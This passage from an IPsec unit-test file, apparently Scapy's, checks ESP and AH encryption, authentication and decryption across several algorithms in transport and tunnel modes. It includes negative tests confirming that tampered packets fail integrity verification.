sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should be readable assert(b'testdata' in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21') * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv4 / ESP - Encryption + Authentication ####################################### = IPv4 / ESP - Transport - AES-CBC - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Transport - AES-CBC - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - AES-GCM - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel aead 'rfc4106(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x66\x00\x28\x86\xe9\xdf\xc5\x24\xb0\xbd\xfd\x62\x61\x7e\xd3\x76' b'\x7b\x48\x28\x8e\x76\xaa\xea\x48\xb8\x40\x30\x8a\xce\x50\x71\xbb' b'\xc0\xb2\x47\x71\xd7\xa4\xa0\xcb\x03\x68\xd3\x16\x5a\x7c\x37\x84' b'\x87\xc7\x19\x59\xb4\x7c\x76\xe3\x48\xc0\x90\x4b\xd2\x36\x95\xc1' b'\xb7\xa4\xb6\x7b\x89\xe6\x4f\x10\xae\xdb\x84\x47\x46\x00\xb4\x44' b'\xe6\x6d\x16\x55\x5f\x82\x36\xa5\x49\xf7\x52\x81\x65\x90\x4d\x28' b'\x92\xb2\xe3\xf1\xa4\x02\xd2\x37\xac\x0b\x7a\x10\xcf\x64\x46\xb9', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert(d_ref.haslayer(ICMP)) ####################################### = IPv4 / ESP - Transport - AES-GCM - NULL -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, esn_en = True, esn = 0x1) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel aead 'rfc4106(gcm(aes))' '0x3136627974656b65792b34627974656e6f6e6365' 128 flag align4 ref = IP() \ / ESP(spi=0x222, data=b'\x66\x00\x28\x86\xe9\xdf\xc5\x24\xb0\xbd\xfd\x62\x61\x7e\xd3\x76' b'\x7b\x48\x28\x8e\x76\xaa\xea\x48\xb8\x40\x30\x8a\xce\x50\x71\xbb' b'\xc0\xb2\x47\x71\xd7\xa4\xa0\xcb\x03\x68\xd3\x16\x5a\x7c\x37\x84' b'\x87\xc7\x19\x59\xb4\x7c\x76\xe3\x48\xc0\x90\x4b\xd2\x36\x95\xc1' b'\xb7\xa4\xb6\x7b\x89\xe6\x4f\x10\xae\xdb\x84\x47\x46\x00\xb4\x44' b'\xe6\x6d\x16\x55\x5f\x82\x36\xa5\x49\xf7\x52\x81\x65\x90\x4d\x28' b'\xfe\x4d\x22\x83\x6a\x81\x0d\x60\x94\xdb\x45\x22\x03\x92\xf6\x94', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert(d_ref.haslayer(ICMP)) ####################################### = IPv4 / ESP - Transport - AES-GCM - NULL - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - AES-GCM - NULL - altered packet -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, esn_en = True, esn = 0x200) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption * integrity verification should fail try: d = sa.decrypt(e, esn = 0x201) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Transport - AES-CCM - NULL ~ crypto_advanced p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d == p) # Generated with Linux 4.4.0-62-generic #83-Ubuntu # ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \ # mode tunnel aead 'rfc4309(ccm(aes))' '0x3136627974656b657933627974656e6f6e6365' 64 ref = IP() \ / ESP(spi=0x222, data=b'\x2e\x02\x9f\x1f\xad\x76\x80\x58\x8f\xeb\x45\xf1\x66\xe3\xad\xa6' b'\x90\x1b\x2b\x7d\xd3\x3d\xa4\x53\x35\xc8\xfa\x92\xfd\xd7\x42\x2f' b'\x87\x60\x9b\x46\xb0\x21\x5e\x82\xfb\x2f\x59\xba\xf0\x6c\xe5\x51' b'\xb8\x36\x20\x88\xfe\x49\x86\x60\xe8\x0a\x3d\x36\xb5\x8a\x08\xa9' b'\x5e\xe3\x87\xfa\x93\x3f\xe8\xc2\xc5\xbf\xb1\x2e\x6f\x7d\xc5\xa5' b'\xd8\xe5\xf3\x25\x21\x81\x43\x16\x48\x10\x7c\x04\x31\x20\x07\x7c' b'\x7b\xda\x5d\x1a\x72\x45\xc4\x79', seq=1) d_ref = sa.decrypt(ref) d_ref * Check for ICMP layer in decrypted reference assert(d_ref.haslayer(ICMP)) ####################################### = IPv4 / ESP - Transport - AES-CCM - NULL - altered packet ~ crypto_advanced p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key', auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), esn_en = True, esn = 0x2) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d[TCP] == p[TCP]) ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - AES-GCM - NULL - altered packet - ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'), esn_en = True, esn = 0x2) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption * integrity verification should fail try: d = sa.decrypt(e, esn = 0x3) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / ESP - Tunnel - AES-CCM - NULL ~ crypto_advanced p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) d = sa.decrypt(e) d * after decryption original packet should be preserved assert(d == p) ####################################### = IPv4 / ESP - Tunnel - AES-CCM - NULL ~ crypto_advanced p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(ESP, spi=0x222, crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce', auth_algo='NULL', auth_key=None, tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e assert(isinstance(e, IP)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22') assert(e.chksum != p.chksum) assert(e.proto == socket.IPPROTO_ESP) assert(e.haslayer(ESP)) assert(not e.haslayer(TCP)) assert(e[ESP].spi == sa.spi) * after encryption the original packet payload should NOT be readable assert(b'testdata' not in e[ESP].data) * simulate the alteration of the packet before decryption e[ESP].seq += 1 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv4 / AH - Transport ####################################### = IPv4 / AH - Transport - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - HMAC-SHA1-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before decryption e[TCP].sport = 5 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - SHA2-256-128 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - SHA2-256-128 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - SHA2-384-192 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - SHA2-384-192 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-384-192', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - SHA2-512-256 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - SHA2-512-256 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-512-256', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - HMAC-MD5-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - HMAC-MD5-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-MD5-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - AES-CMAC-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - AES-CMAC-96 - altered packet p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key') e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv4 / AH - Transport - AES-CMAC-96 -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', esn_en=True, esn=0x200) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.ttl = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv4 / AH - Transport - AES-CMAC-96 - altered packet -- ESN p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key', esn_en=True, esn=0x200) e = sa.encrypt(p) e assert(isinstance(e, IP)) assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2') assert(e.chksum != p.chksum) * the encrypted packet should have an AH layer assert(e.proto == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv4 / AH - Tunnel ####################################### = IPv4 / AH - Tunnel - HMAC-SHA1-96 p = IP(src='1.1.1.1', dst='2.2.2.2') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IP(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22')) e = sa.encrypt(p) e 